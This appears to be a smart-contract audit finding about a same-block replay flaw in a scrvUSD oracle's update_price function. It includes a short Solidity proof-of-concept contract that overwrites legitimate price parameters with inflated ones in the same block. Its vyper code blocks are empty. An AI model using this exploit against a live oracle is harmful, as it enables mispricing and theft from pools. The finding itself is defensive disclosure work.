Storage Proofs

Summary

The update_price function allows same-block updates to fix bad blockhashes, but this permits replaying parameters within the same block if the verifier allows it. This is partially mitigated by verifier trust but lacks additional safeguards.

Vulnerability Details

The vulnerable code is in update_price:

vyper

• Replay Window: Same _block_number can overwrite prior updates.

• Intent: Docs note this is for fixing bad blockhashes.

PoC

Objective

Replay parameters in the same block to overwrite a legitimate update.

Prerequisites

• PRICE_PARAMETERS_VERIFIER role.

• Deployed scrvUSD oracle and a mock verifier allowing same-block updates.

Exploit Scenario

An attacker submits a legitimate update, then overwrites it with skewed parameters in the same block.

Proof of Concept Steps

1. Setup: Deploy the oracle and verifier.

2. Exploit Contract:

   solidity

   contract ExploitBlockReplay {

   IScrvusdOracle public oracle;

   ​

   constructor(address _oracle) {

   oracle = IScrvusdOracle(_oracle);

   }

   ​

   function exploit() external {

   uint256[7] memory legitParams = [1000, 500, 1000, block.timestamp + 7 days, 1000, block.timestamp - 1 days, 2000];

   uint256[7] memory badParams = [10000, 500, 1000, block.timestamp + 7 days, 1000, block.timestamp - 1 days, 2000];

   oracle.update_price(legitParams, block.timestamp, block.number); // Legit update

   oracle.update_price(badParams, block.timestamp, block.number); // Overwrite

   }

   }

3. Execution:

   • Call exploit() in one transaction (same block).

   • Second call overwrites the first due to <= check.

4. Result: Price reflects badParams, inflating scrvUSD value.

Outcome

Shows how same-block replays can manipulate pricing, relying on verifier weakness.

Impact

Parameter Overwrite: Malicious updates could override legitimate ones, mispricing scrvUSD.

• Pool Risk: Temporary mispricing could be exploited before correction.

Tools Used

Manual Review

Recommendations

Require strictly increasing block numbers or add a nonce:

vyper